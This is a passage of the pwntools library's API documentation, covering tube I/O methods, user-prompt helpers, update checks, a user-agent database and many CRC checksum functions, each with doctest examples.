    - **timeout** (*int*) – Timeout

    Returns All bytes received over the tube until the first newline `'\n'` is received. Optionally
        retains the ending.

    Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: 'Foo\nBar\r\nBaz\n'
>>> t.recvline()
'Foo\n'
>>> t.recvline()
'Bar\r\n'
>>> t.recvline(keepends = False)
'Baz'
>>> t.newline = '\r\n'
>>> t.recvline(keepends = False)
'Foo\nBar'
```

recvline_contains(*items, keepends=False, timeout=pwnlib.timeout.Timeout.default*)
    Receive lines until one line is found which contains at least one of *items*.

    Parameters

    - **items** (*str, tuple*) – List of strings to search for, or a single string.

    - **keepends** (*bool*) – Return lines with newlines if `True`

    - **timeout** (*int*) – Timeout, in seconds

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: "Hello\nWorld\nXylophone\n"
>>> t.recvline_contains('r')
'World'
>>> f = lambda n: "cat dog bird\napple pear orange\nbicycle car train\n"
>>> t = tube()
>>> t.recv_raw = f
>>> t.recvline_contains('pear')
'apple pear orange'
>>> t = tube()
>>> t.recv_raw = f
>>> t.recvline_contains(('car', 'train'))
'bicycle car train'
```

recvline_endswith(*delims*, *keepends = False*, *timeout = default*) → str

    Keep receiving lines until one is found that starts with one of *delims*. Returns the last line received.

    If the request is not satisfied before timeout seconds pass, all data is buffered and an empty string ('')
is returned.

    See *recvline_startswith()* for more details.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: 'Foo\nBar\nBaz\nKaboodle\n'
>>> t.recvline_endswith('r')
'Bar'
>>> t.recvline_endswith(tuple('abcde'), True)
'Kaboodle\n'
>>> t.recvline_endswith('oodle')
'Kaboodle'
```

recvline_pred(*pred*, *keepends = False*) → str

    Receive data until pred(line) returns a truthy value. Drop all other data.

    If the request is not satisfied before timeout seconds pass, all data is buffered and an empty string ('')
is returned.

        Parameters pred (*callable*) – Function to call. Returns the line for which this function
returns True.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: "Foo\nBar\nBaz\n"
>>> t.recvline_pred(lambda line: line == "Bar\n")
'Bar'
>>> t.recvline_pred(lambda line: line == "Bar\n", keepends=True)
'Bar\n'
>>> t.recvline_pred(lambda line: line == 'Nope!', timeout=0.1)
''
```

recvline_regex(*regex*, *exact=False*, *keepends=False*, *timeout=pwnlib.timeout.Timeout.default*)
  recvregex(regex, exact = False, keepends = False, timeout = default) -> str

  Wrapper around `recvline_pred()`, which will return when a regex matches a line.

  By default `re.RegexObject.search()` is used, but if *exact* is set to True, then `re.RegexObject.match()` will be used instead.

  If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`''`) is returned.

recvline_startswith(*delims*, *keepends = False*, *timeout = default*) → str
  Keep receiving lines until one is found that starts with one of *delims*. Returns the last line received.

  If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`''`) is returned.

  > **Parameters**
  >
  > - **delims** (`str,tuple`) – List of strings to search for, or string of single characters
  > - **keepends** (`bool`) – Return lines with newlines if `True`
  > - **timeout** (`int`) – Timeout, in seconds
  >
  > **Returns** The first line received which starts with a delimiter in `delims`.

  ### Examples

  ```
  >>> t = tube()
  >>> t.recv_raw = lambda n: "Hello\nWorld\nXylophone\n"
  >>> t.recvline_startswith(tuple('WXYZ'))
  'World'
  >>> t.recvline_startswith(tuple('WXYZ'), True)
  'Xylophone\n'
  >>> t.recvline_startswith('Wo')
  'World'
  ```

recvlines(*numlines*, *keepends = False*, *timeout = default*) → str list
  Receive up to `numlines` lines.

  A "line" is any sequence of bytes terminated by the byte sequence set by `newline`, which defaults to `'\n'`.

  If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`''`) is returned.

  > **Parameters**
  >
  > - **numlines** (`int`) – Maximum number of lines to receive
  > - **keepends** (`bool`) – Keep newlines at the end of each line (`False`).
  > - **timeout** (`int`) – Maximum timeout
  >
  > **Raises** `exceptions.EOFError` – The connection closed before the request could be satisfied
  >
  > **Returns** A string containing bytes received from the socket, or `''` if a timeout occurred while waiting.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: '\n'
>>> t.recvlines(3)
['', '', '']
>>> t.recv_raw = lambda n: 'Foo\nBar\nBaz\n'
>>> t.recvlines(3)
['Foo', 'Bar', 'Baz']
>>> t.recvlines(3, True)
['Foo\n', 'Bar\n', 'Baz\n']
```

recvn (*numb*, *timeout = default*) → str

Receives exactly *n* bytes.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`''`) is returned.

> **Raises** `exceptions.EOFError` – The connection closed before the request could be satisfied
>
> **Returns** A string containing bytes received from the socket, or `''` if a timeout occurred while waiting.

Examples

```
>>> t = tube()
>>> data = 'hello world'
>>> t.recv_raw = lambda *a: data
>>> t.recvn(len(data)) == data
True
>>> t.recvn(len(data)+1) == data + data[0]
True
>>> t.recv_raw = lambda *a: None
>>> # The remaining data is buffered
>>> t.recv() == data[1:]
True
>>> t.recv_raw = lambda *a: time.sleep(0.01) or 'a'
>>> t.recvn(10, timeout=0.05)
''
>>> t.recvn(10, timeout=0.06)
'aaaaaa...'
```

recvpred (*pred*, *timeout = default*) → str

Receives one byte at a time from the tube, until `pred(bytes)` evaluates to True.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`''`) is returned.

> **Parameters**
> - **pred** (`callable`) – Function to call, with the currently-accumulated data.
> - **timeout** (`int`) – Timeout for the operation
>
> **Raises** `exceptions.EOFError` – The connection is closed
>
> **Returns** A string containing bytes received from the socket, or `''` if a timeout occurred while waiting.

recvregex (*regex*, *exact = False*, *timeout = default*) → str

Wrapper around `recvpred()`, which will return when a regex matches the string in the buffer.

By default `re.RegexObject.search()` is used, but if *exact* is set to True, then `re.RegexObject.match()` will be used instead.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`''`) is returned.

recvrepeat (*timeout = default*) → str

Receives data until a timeout or EOF is reached.

Examples

```
>>> data = [
... 'd',
... '', # simulate timeout
... 'c',
... 'b',
... 'a',
... ]
>>> def delayrecv(n, data=data):
...     return data.pop()
>>> t = tube()
>>> t.recv_raw = delayrecv
>>> t.recvrepeat(0.2)
'abc'
>>> t.recv()
'd'
```

recvuntil (*delims*, *timeout = default*) → str

Receive data until one of *delims* is encountered.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`''`) is returned.

> **Parameters**
>
> - **delims** (*str, tuple*) – String of delimiters characters, or list of delimiter strings.
> - **drop** (*bool*) – Drop the ending. If `True` it is removed from the end of the return value.
>
> **Raises** `exceptions.EOFError` – The connection closed before the request could be satisfied
>
> **Returns** A string containing bytes received from the socket, or `''` if a timeout occurred while waiting.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: "Hello World!"
>>> t.recvuntil(' ')
'Hello '
>>> _=t.clean(0)
>>> # Matches on 'o' in 'Hello'
>>> t.recvuntil(tuple(' Wor'))
```

```
'Hello'
>>> _=t.clean(0)
>>> # Matches expressly full string
>>> t.recvuntil(' Wor')
'Hello Wor'
>>> _=t.clean(0)
>>> # Matches on full string, drops match
>>> t.recvuntil(' Wor', drop=True)
'Hello'
```

```
>>> # Try with regex special characters
>>> t = tube()
>>> t.recv_raw = lambda n: "Hello|World"
>>> t.recvuntil('|', drop=True)
'Hello'
```

send (*data*)

Sends data.

If log level `DEBUG` is enabled, also prints out the data received.

If it is not possible to send anymore because of a closed connection, it raises `exceptions.EOFError`

Examples

```
>>> def p(x): print repr(x)
>>> t = tube()
>>> t.send_raw = p
>>> t.send('hello')
'hello'
```

sendafter (*delim*, *data*, *timeout* = *default*) → str

A combination of `recvuntil(delim, timeout)` and `send(data)`.

sendline (*data*)

Shorthand for `t.send(data + t.newline)`.

Examples

```
>>> def p(x): print repr(x)
>>> t = tube()
>>> t.send_raw = p
>>> t.sendline('hello')
'hello\n'
>>> t.newline = '\r\n'
>>> t.sendline('hello')
'hello\r\n'
```

sendlineafter (*delim*, *data*, *timeout* = *default*) → str

A combination of `recvuntil(delim, timeout)` and `sendline(data)`.

sendlinethen (*delim*, *data*, *timeout* = *default*) → str

A combination of `sendline(data)` and `recvuntil(delim, timeout)`.

sendthen(*delim*, *data*, *timeout = default*) → str
> A combination of `send(data)` and `recvuntil(delim, timeout)`.

settimeout(*timeout*)
> Set the timeout for receiving operations. If the string "default" is given, then `context.timeout` will be used. If None is given, then there will be no timeout.

Examples

```
>>> t = tube()
>>> t.settimeout_raw = lambda t: None
>>> t.settimeout(3)
>>> t.timeout == 3
True
```

shutdown(*direction = "send"*)
> Closes the tube for futher reading or writing depending on *direction*.

> > **Parameters direction** (*str*) – Which direction to close; "in", "read" or "recv" closes the tube in the ingoing direction, "out", "write" or "send" closes it in the outgoing direction.

> > **Returns** None

Examples

```
>>> def p(x): print x
>>> t = tube()
>>> t.shutdown_raw = p
>>> _=map(t.shutdown, ('in', 'read', 'recv', 'out', 'write', 'send'))
recv
recv
recv
send
send
send
>>> t.shutdown('bad_value')
Traceback (most recent call last):
...
KeyError: "direction must be in ['in', 'out', 'read', 'recv', 'send', 'write']
↪"
```

spawn_process(**args*, ***kwargs*)
> Spawns a new process having this tube as stdin, stdout and stderr.

> Takes the same arguments as `subprocess.Popen`.

stream()
> Receive data until the tube exits, and print it to stdout.

> Similar to *interactive()*, except that no input is sent.

> Similar to `print tube.recvall()` except that data is printed as it is received, rather than after all data is received.

> > **Parameters line_mode** (*bool*) – Whether to receive line-by-line or raw data.

> > **Returns** All data printed.

timeout_change()
    Informs the raw layer of the tube that the timeout has changed.

    Should not be called directly.

    Inherited from `Timeout`.

unrecv(*data*)
    Puts the specified data back at the beginning of the receive buffer.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: 'hello'
>>> t.recv()
'hello'
>>> t.recv()
'hello'
>>> t.unrecv('world')
>>> t.recv()
'world'
>>> t.recv()
'hello'
```

wait()
    Waits until the tube is closed.

wait_for_close()
    Waits until the tube is closed.

newline = '\n'
    Delimiter to use for *sendline()*, *recvline()*, and related functions.

2.28 `pwnlib.ui` — Functions for user interaction

`pwnlib.ui.`**more**(*text*)
    Shows text like the command line tool `more`.

    It not in term_mode, just prints the data to the screen.

> **Parameters text** (*str*) – The text to show.

> **Returns** None

`pwnlib.ui.`**options**(*prompt*, *opts*, *default=None*)
    Presents the user with a prompt (typically in the form of a question) and a number of options.

> **Parameters**
> - **prompt** (*str*) – The prompt to show
> - **opts** (*list*) – The options to show to the user
> - **default** – The default option to choose

> **Returns** The users choice in the form of an integer.

`pwnlib.ui.`**pause**(*n=None*)
    Waits for either user input or a specific number of seconds.

---

pwnlib.ui.**yesno**(*prompt*, *default=None*)

>   Presents the user with prompt (typically in the form of question) which the user must answer yes or no.

>   **Parameters**

>   >   • **prompt** (*str*) – The prompt to show

>   >   • **default** – The default option; *True* means "yes"

>   **Returns**   *True* if the answer was "yes", *False* if "no"

2.29 `pwnlib.update` — Updating Pwntools

Pwntools Update

In order to ensure that Pwntools users always have the latest and greatest version, Pwntools automatically checks for updates.

Since this update check takes a moment, it is only performed once every week. It can be permanently disabled via:

```
$ echo never > ~/.pwntools-cache/update
```

pwnlib.update.**available_on_pypi**(*prerelease=False*)

>   Return True if an update is available on PyPI.

```
>>> available_on_pypi()
<Version('...')>
>>> available_on_pypi(prerelease=False).is_prerelease
False
```

pwnlib.update.**cache_file**()

>   Returns the path of the file used to cache update data, and ensures that it exists.

pwnlib.update.**last_check**()

>   Return the date of the last check

pwnlib.update.**perform_check**(*prerelease=False*)

>   Perform the update check, and report to the user.

>   **Parameters** **prerelease** (*bool*) – Whether or not to include pre-release versions.

>   **Returns**   A list of arguments to the update command.

```
>>> from packaging.version import Version
>>> pwnlib.update.current_version = Version("999.0.0")
>>> print perform_check()
None
>>> pwnlib.update.current_version = Version("0.0.0")
>>> perform_check()
['pip', 'install', '-U', ...]
```

```
>>> def bail(*a): raise Exception()
>>> pypi   = pwnlib.update.available_on_pypi
```

```
>>> perform_check(prerelease=False)
['pip', 'install', '-U', 'pwntools']
>>> perform_check(prerelease=True)
['pip', 'install', '-U', 'pwntools...']
```

pwnlib.update.**should_check**()

Return True if we should check for an update

2.30 `pwnlib.useragents` — A database of useragent strings

Database of >22,000 user agent strings

pwnlib.useragents.**getall**() → str set

Get all the user agents that we know about.

> **Parameters None** –
>
> **Returns** A set of user agent strings.

Examples

```
>>> 'libcurl-agent/1.0' in getall()
True
>>> 'wget' in getall()
True
```

pwnlib.useragents.**random**() → str

Get a random user agent string.

> **Parameters None** –
>
> **Returns** A random user agent string selected from *getall()*.

```
>>> import random as randommod
>>> randommod.seed(1)
>>> random()
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts;␣
→FunWebProducts-MyTotalSearch; iebar)'
```

2.31 `pwnlib.util.crc` — Calculating CRC-sums

Module for calculating CRC-sums.

Contains all crc implementations know on the interwebz. For most implementations it contains only the core crc algorithm and not e.g. padding schemes.

It is horribly slow, as implements a naive algorithm working direclty on bit polynomials. This class is exposed as *BitPolynom*.

The current algorithm is super-linear and takes about 4 seconds to calculate the crc32-sum of `'A'*40000`.

An obvious optimization would be to actually generate some lookup-tables.

class pwnlib.util.crc.**BitPolynom**(*n*)

Class for representing GF(2)[X], i.e. the field of polynomials over GF(2).

In practice the polynomials are represented as numbers such that $x^{**}n$ corresponds to $1 << n$. In this representation calculations are easy: Just do everything as normal, but forget about everything the carries.

Addition becomes xor and multiplication becomes carry-less multiplication.

Examples

```
>>> p1 = BitPolynom("x**3 + x + 1")
>>> p1
BitPolynom('x**3 + x + 1')
>>> int(p1)
11
>>> p1 == BitPolynom(11)
True
>>> p2 = BitPolynom("x**2 + x + 1")
>>> p1 + p2
BitPolynom('x**3 + x**2')
>>> p1 * p2
BitPolynom('x**5 + x**4 + 1')
>>> p1 / p2
BitPolynom('x + 1')
>>> p1 % p2
BitPolynom('x')
>>> d, r = divmod(p1, p2)
>>> d * p2 + r == p1
True
>>> BitPolynom(-1)
Traceback (most recent call last):
    ...
ValueError: Polynomials cannot be negative: -1
>>> BitPolynom('y')
Traceback (most recent call last):
    ...
ValueError: Not a valid polynomial: y
```

degree()

> Returns the degree of the polynomial.

Examples

```
>>> BitPolynom(0).degree()
0
>>> BitPolynom(1).degree()
0
>>> BitPolynom(2).degree()
1
>>> BitPolynom(7).degree()
2
>>> BitPolynom((1 << 10) - 1).degree()
9
>>> BitPolynom(1 << 10).degree()
10
```

pwnlib.util.crc.**generic_crc**(*data*, *polynom*, *width*, *init*, *refin*, *refout*, *xorout*)

> A generic CRC-sum function.
>
> This is suitable to use with: http://reveng.sourceforge.net/crc-catalogue/all.htm
>
> The "check" value in the document is the CRC-sum of the string "123456789".
>
> > **Parameters**

- **data** (`str`) – The data to calculate the CRC-sum of. This should either be a string or a list of bits.

- **polynom** (`int`) – The polynomial to use.

- **init** (`int`) – If the CRC-sum was calculated in hardware, then this would b the initial value of the checksum register.

- **refin** (`bool`) – Should the input bytes be reflected?

- **refout** (`bool`) – Should the checksum be reflected?

- **xorout** (`int`) – The value to xor the checksum with before outputting

pwnlib.util.crc.**cksum**(*data*) → int

Calculates the same checksum as returned by the UNIX-tool `cksum`.

> **Parameters data** (`str`) – The data to checksum.

Example

```
>>> print cksum('123456789')
930766865
```

pwnlib.util.crc.**find_crc_function**(*data*, *checksum*)

Finds all known CRC functions that hashes a piece of data into a specific checksum. It does this by trying all known CRC functions one after the other.

> **Parameters data** (`str`) – Data for which the checksum is known.

Example

```
>>> find_crc_function('test', 46197)
[<function crc_crc_16_dnp at ...>]
```

pwnlib.util.crc.**arc**(*data*) → int

Calculates the arc checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x8005

- width = 16

- init = 0x0

- refin = True

- refout = True

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.16

> **Parameters data** (`str`) – The data to checksum.

Example

```
>>> print arc('123456789')
47933
```

`pwnlib.util.crc.`**`crc_10`**(*data*) → int

Calculates the crc_10 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x233
- width = 10
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.10

> **Parameters** **`data`** (*str*) – The data to checksum.

Example

```
>>> print crc_10('123456789')
409
```

`pwnlib.util.crc.`**`crc_10_cdma2000`**(*data*) → int

Calculates the crc_10_cdma2000 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x3d9
- width = 10
- init = 0x3ff
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-10-cdma2000

> **Parameters** **`data`** (*str*) – The data to checksum.

Example

```
>>> print crc_10_cdma2000('123456789')
563
```

`pwnlib.util.crc.`**`crc_10_gsm`**(*data*) → int

Calculates the crc_10_gsm checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x175
- width = 10
- init = 0x0
- refin = False
- refout = False
- xorout = 0x3ff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-10-gsm

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_10_gsm('123456789')
298
```

pwnlib.util.crc.**crc_11**(*data*) → int
    Calculates the crc_11 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x385
- width = 11
- init = 0x1a
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.11

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_11('123456789')
1443
```

pwnlib.util.crc.**crc_11_umts**(*data*) → int
    Calculates the crc_11_umts checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x307
- width = 11
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-11-umts

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_11_umts('123456789')
97
```

`pwnlib.util.crc.`**`crc_12_cdma2000`**(*data*) → int

 Calculates the crc_12_cdma2000 checksum.

 This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0xf13
- width = 12
- init = 0xfff
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.12

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_12_cdma2000('123456789')
3405
```

`pwnlib.util.crc.`**`crc_12_dect`**(*data*) → int

 Calculates the crc_12_dect checksum.

 This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x80f
- width = 12
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-12-dect

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_12_dect('123456789')
3931
```

pwnlib.util.crc.**crc_12_gsm**(*data*) → int

    Calculates the crc_12_gsm checksum.

    This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0xd31

- width = 12

- init = 0x0

- refin = False

- refout = False

- xorout = 0xfff

    See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-12-gsm

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_12_gsm('123456789')
2868
```

pwnlib.util.crc.**crc_12_umts**(*data*) → int

    Calculates the crc_12_umts checksum.

    This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x80f

- width = 12

- init = 0x0

- refin = False

- refout = True

- xorout = 0x0

    See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-12-umts

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_12_umts('123456789')
3503
```

pwnlib.util.crc.**crc_13_bbc**(*data*) → int

    Calculates the crc_13_bbc checksum.

    This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1cf5

- width = 13

- init = 0x0

- refin = False

- refout = False

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.13

>   **Parameters data** (`str`) – The data to checksum.

Example

```
>>> print crc_13_bbc('123456789')
1274
```

`pwnlib.util.crc.`**`crc_14_darc`**(*data*) → int
>   Calculates the crc_14_darc checksum.

>   This is simply the `generic_crc()` with these frozen arguments:

>   - polynom = 0x805

>   - width = 14

>   - init = 0x0

>   - refin = True

>   - refout = True

>   - xorout = 0x0

>   See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.14

>   >   **Parameters data** (`str`) – The data to checksum.

Example

```
>>> print crc_14_darc('123456789')
2093
```

`pwnlib.util.crc.`**`crc_14_gsm`**(*data*) → int
>   Calculates the crc_14_gsm checksum.

>   This is simply the `generic_crc()` with these frozen arguments:

>   - polynom = 0x202d

>   - width = 14

>   - init = 0x0

>   - refin = False

>   - refout = False

>   - xorout = 0x3fff

>   See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-14-gsm

>   >   **Parameters data** (`str`) – The data to checksum.

Example

```
>>> print crc_14_gsm('123456789')
12462
```

`pwnlib.util.crc.`**`crc_15`**(*data*) → int

Calculates the crc_15 checksum.

This is simply the *`generic_crc()`* with these frozen arguments:

- polynom = 0x4599
- width = 15
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.15

> **Parameters** **`data`** (*`str`*) – The data to checksum.

Example

```
>>> print crc_15('123456789')
1438
```

`pwnlib.util.crc.`**`crc_15_mpt1327`**(*data*) → int

Calculates the crc_15_mpt1327 checksum.

This is simply the *`generic_crc()`* with these frozen arguments:

- polynom = 0x6815
- width = 15
- init = 0x0
- refin = False
- refout = False
- xorout = 0x1

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-15-mpt1327

> **Parameters** **`data`** (*`str`*) – The data to checksum.

Example

```
>>> print crc_15_mpt1327('123456789')
9574
```

`pwnlib.util.crc.`**`crc_16_aug_ccitt`**(*data*) → int

Calculates the crc_16_aug_ccitt checksum.

This is simply the *`generic_crc()`* with these frozen arguments:

- polynom = 0x1021

- width = 16

- init = 0x1d0f

- refin = False

- refout = False

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-aug-ccitt

>   **Parameters data** (`str`) – The data to checksum.

Example

```
>>> print crc_16_aug_ccitt('123456789')
58828
```

`pwnlib.util.crc.`**`crc_16_buypass`**(*data*) → int

>   Calculates the crc_16_buypass checksum.

>   This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x8005

- width = 16

- init = 0x0

- refin = False

- refout = False

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-buypass

>   **Parameters data** (`str`) – The data to checksum.

Example

```
>>> print crc_16_buypass('123456789')
65256
```

`pwnlib.util.crc.`**`crc_16_ccitt_false`**(*data*) → int

>   Calculates the crc_16_ccitt_false checksum.

>   This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x1021

- width = 16

- init = 0xffff

- refin = False

- refout = False

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-ccitt-false

>   **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_16_ccitt_false('123456789')
10673
```

pwnlib.util.crc.**crc_16_cdma2000**(*data*) → int
:   Calculates the crc_16_cdma2000 checksum.

    This is simply the *generic_crc()* with these frozen arguments:

    - polynom = 0xc867
    - width = 16
    - init = 0xffff
    - refin = False
    - refout = False
    - xorout = 0x0

    See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-cdma2000

    >   **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_16_cdma2000('123456789')
19462
```

pwnlib.util.crc.**crc_16_cms**(*data*) → int
:   Calculates the crc_16_cms checksum.

    This is simply the *generic_crc()* with these frozen arguments:

    - polynom = 0x8005
    - width = 16
    - init = 0xffff
    - refin = False
    - refout = False
    - xorout = 0x0

    See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-cms

    >   **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_16_cms('123456789')
44775
```

`pwnlib.util.crc.`**`crc_16_dds_110`**(*data*) → int

> Calculates the crc_16_dds_110 checksum.
>
> This is simply the `generic_crc()` with these frozen arguments:
>
> - polynom = 0x8005
>
> - width = 16
>
> - init = 0x800d
>
> - refin = False
>
> - refout = False
>
> - xorout = 0x0
>
> See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-dds-110
>
> > **Parameters data** (`str`) – The data to checksum.

Example

```
>>> print crc_16_dds_110('123456789')
40655
```

`pwnlib.util.crc.`**`crc_16_dect_r`**(*data*) → int

> Calculates the crc_16_dect_r checksum.
>
> This is simply the `generic_crc()` with these frozen arguments:
>
> - polynom = 0x589
>
> - width = 16
>
> - init = 0x0
>
> - refin = False
>
> - refout = False
>
> - xorout = 0x1
>
> See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-dect-r
>
> > **Parameters data** (`str`) – The data to checksum.

Example

```
>>> print crc_16_dect_r('123456789')
126
```

`pwnlib.util.crc.`**`crc_16_dect_x`**(*data*) → int

> Calculates the crc_16_dect_x checksum.
>
> This is simply the `generic_crc()` with these frozen arguments:
>
> - polynom = 0x589
>
> - width = 16
>
> - init = 0x0

- refin = False

- refout = False

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-dect-x

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_16_dect_x('123456789')
127
```

pwnlib.util.crc.**crc_16_dnp**(*data*) → int
     Calculates the crc_16_dnp checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x3d65

- width = 16

- init = 0x0

- refin = True

- refout = True

- xorout = 0xffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-dnp

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_16_dnp('123456789')
60034
```

pwnlib.util.crc.**crc_16_en_13757**(*data*) → int
     Calculates the crc_16_en_13757 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x3d65

- width = 16

- init = 0x0

- refin = False

- refout = False

- xorout = 0xffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-en-13757

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_16_en_13757('123456789')
49847
```

pwnlib.util.crc.**crc_16_genibus**(*data*) → int

Calculates the crc_16_genibus checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1021

- width = 16

- init = 0xffff

- refin = False

- refout = False

- xorout = 0xffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-genibus

Parameters data (*str*) – The data to checksum.

Example

```
>>> print crc_16_genibus('123456789')
54862
```

pwnlib.util.crc.**crc_16_gsm**(*data*) → int

Calculates the crc_16_gsm checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1021

- width = 16

- init = 0x0

- refin = False

- refout = False

- xorout = 0xffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-gsm

Parameters data (*str*) – The data to checksum.

Example

```
>>> print crc_16_gsm('123456789')
52796
```

pwnlib.util.crc.**crc_16_lj1200**(*data*) → int

Calculates the crc_16_lj1200 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x6f63

- width = 16

- init = 0x0

- refin = False

- refout = False

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-lj1200

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_16_lj1200('123456789')
48628
```

`pwnlib.util.crc.`**`crc_16_maxim`**(*data*) → int
    Calculates the crc_16_maxim checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x8005

- width = 16

- init = 0x0

- refin = True

- refout = True

- xorout = 0xffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-maxim

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_16_maxim('123456789')
17602
```

`pwnlib.util.crc.`**`crc_16_mcrf4xx`**(*data*) → int
    Calculates the crc_16_mcrf4xx checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1021

- width = 16

- init = 0xffff

- refin = True

- refout = True

- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-mcrf4xx

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_16_mcrf4xx('123456789')
28561
```

pwnlib.util.crc.**crc_16_opensafety_a**(*data*) → int
  Calculates the crc_16_opensafety_a checksum.

  This is simply the *generic_crc()* with these frozen arguments:

  - polynom = 0x5935

  - width = 16

  - init = 0x0

  - refin = False

  - refout = False

  - xorout = 0x0

  See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-opensafety-a

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_16_opensafety_a('123456789')
23864
```

pwnlib.util.crc.**crc_16_opensafety_b**(*data*) → int
  Calculates the crc_16_opensafety_b checksum.

  This is simply the *generic_crc()* with these frozen arguments:

  - polynom = 0x755b

  - width = 16

  - init = 0x0

  - refin = False

  - refout = False

  - xorout = 0x0

  See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-16-opensafety-a

> **Parameters data** (*str*) – The data to checksum.

Example

```
>>> print crc_16_opensafety_b('123456789')
8446
```

pwnlib.util.crc.**crc_16_profibus**(*data*) → int

Calculates the crc_16_profibus checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1dcf

